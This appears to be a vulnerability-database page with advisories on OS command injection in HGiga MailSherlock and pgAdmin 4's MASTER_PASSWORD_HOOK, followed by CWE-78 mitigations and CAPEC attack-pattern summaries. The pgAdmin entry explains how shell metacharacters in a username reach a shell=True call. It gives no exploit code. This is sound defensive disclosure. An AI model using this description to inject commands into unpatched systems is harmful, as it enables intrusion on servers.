"details": "HGiga MailSherlock does not validate specific parameters properly. Attackers can use the vulnerability to launch Command inject attacks remotely and execute arbitrary commands of the system.",
"id": "GHSA-f62f-7p64-pmrv",
"modified": "2024-04-04T03:04:01Z",
"published": "2022-05-24T17:37:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35851"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-4264-f10f4-2.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F649-FJV9-QGCG
Vulnerability from github – Published: 2026-07-31 18:32 – Updated: 2026-07-31 18:32The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user's name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (';', '$()', backticks, pipes, '&&', newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.
Fix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.
This issue affects pgAdmin 4: from 7.2 before 9.17.
{
"affected": [],
"aliases": [
"CVE-2026-17347"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-31T16:16:59Z",
"severity": "HIGH"
},
"details": "The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user\u0027s name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (\u0027;\u0027, \u0027$()\u0027, backticks, pipes, \u0027\u0026\u0026\u0027, newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.\n\nFix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.\n\nThis issue affects pgAdmin 4: from 7.2 before 9.17.",
"id": "GHSA-f649-fjv9-qgcg",
"modified": "2026-07-31T18:32:17Z",
"published": "2026-07-31T18:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17347"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10191"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/commit/e7a85767314e7b0fe0b35fe80b9c1af38f48dff6"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/commit/ea7e798aac27174d2bacee1d6e136bed76a95e23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.